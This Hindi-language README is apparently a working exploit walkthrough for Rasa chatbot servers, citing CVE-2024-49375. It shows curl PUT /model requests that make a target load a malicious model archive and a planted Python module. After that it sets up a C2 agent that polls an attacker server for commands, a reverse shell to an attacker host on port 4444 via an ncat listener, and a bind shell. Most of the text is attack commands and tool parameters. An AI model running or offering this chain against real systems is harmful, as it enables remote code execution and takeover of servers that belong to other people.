
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
सीधे चलाएं
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

प्रभाव इस प्रकार है:

डिफ़ॉल्ट मॉडल नाम evil_import_model.tar.gz
दुर्भावनापूर्ण मॉडल डेमो
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
दुर्भावनापूर्ण संवाद नियम सेट करें
greetदर्ज करें,PWNED_BY_CTFलौटाएगा
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

प्रभाव इस प्रकार है

model.py संपीड़ित पैकेज के अंदर निर्दिष्ट डेटा को संशोधित करता है
सीधे चलाएं, डिफ़ॉल्ट रूप से /model निर्देशिका से मॉडल पढ़ता है, संशोधित करता है और वर्तमान निर्देशिका में evil_import_model.tar.gz के रूप में सहेजता है

रिवर्स IP निर्दिष्ट करें
डिफ़ॉल्ट मॉडल नाम evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

क्रम में डेटा भेजें
हमलावर मशीन Rasa कंटेनर (लक्ष्य)
│ │
├─ server-2.py शुरू करें ─────────┤
├─ PUT /model ──→ pwnmod.py को /app/ में डाउनलोड करें
├─ PUT /model ──→ दुर्भावनापूर्ण मॉडल डाउनलोड करें → import pwnmod → agent शुरू होता है
│ │
│ ← GET /poll?agent=xxx ───┤ हर 3 सेकंड पर पोल
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ कमांड प्राप्त करना
│ ← POST /result ──────────┤ परिणाम वापस भेजना
├─ /last?agent=xxx ──→ परिणाम पढ़ना
# हमलावर मशीन शुरू करें
python server-2.py --mode c2 --c2-base-url http://<हमलावर मशीन IP>:8000 --port 8000
# एक्सप्लॉइट ट्रिगर करें (दो चरण)
curl -X PUT http://<rasa पता>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<हमलावर मशीन IP>:8000/write-module"}}'
curl -X PUT http://<rasa पता>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<हमलावर मशीन IP>:8000/model"}}'
# कमांड जारी करें
curl "http://<हमलावर मशीन IP>:8000/enqueue?cmd=id"
# 8 सेकंड प्रतीक्षा करें फिर परिणाम पढ़ें (agent हर 3 सेकंड में पोल करता है + निष्पादन समय)
curl "http://<हमलावर मशीन IP>:8000/last?agent=<होस्टनाम>"
# agent निर्दिष्ट न करना भी ठीक है (वाइल्डकार्ड का उपयोग करें)
curl "http://<हमलावर मशीन IP>:8000/enqueue?cmd=whoami"
curl "http://<हमलावर मशीन IP>:8000/last"
# 1) हमलावर मशीन सुनना शुरू करें
ncat -lvnp 4444
# 2) हमलावर मशीन server-2.py शुरू करें
python server-2.py --mode reverse --reverse-host <हमलावर मशीन IP> --reverse-port 4444 --port 8000
# 3) एक्सप्लॉइट ट्रिगर करें
curl -X PUT http://<rasa पता>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<हमलावर मशीन IP>:8000/write-module"}}'
curl -X PUT http://<rasa पता>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<हमलावर मशीन IP>:8000/model"}}'
# 4) nc को $ प्रॉम्प्ट मिलता है, सीधे इंटरैक्ट करें
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent लक्ष्य कंटेनर में 0.0.0.0:4444 पर सुनता है
# ncat <लक्ष्य IP> 4444 से कनेक्ट करें
| पैरामीटर | अर्थ |
|---|---|
--port 8000 | server-2.py का स्वयं का सुनने वाला पोर्ट |
--c2-base-url | C2 मोड में agent द्वारा पोल किया जाने वाला पूर्ण base URL (कंटेनर द्वारा सुलभ पता होना चाहिए) |
--reverse-host | रिवर्स शेल का लक्ष्य IP |
--reverse-port | रिवर्स शेल का लक्ष्य पोर्ट |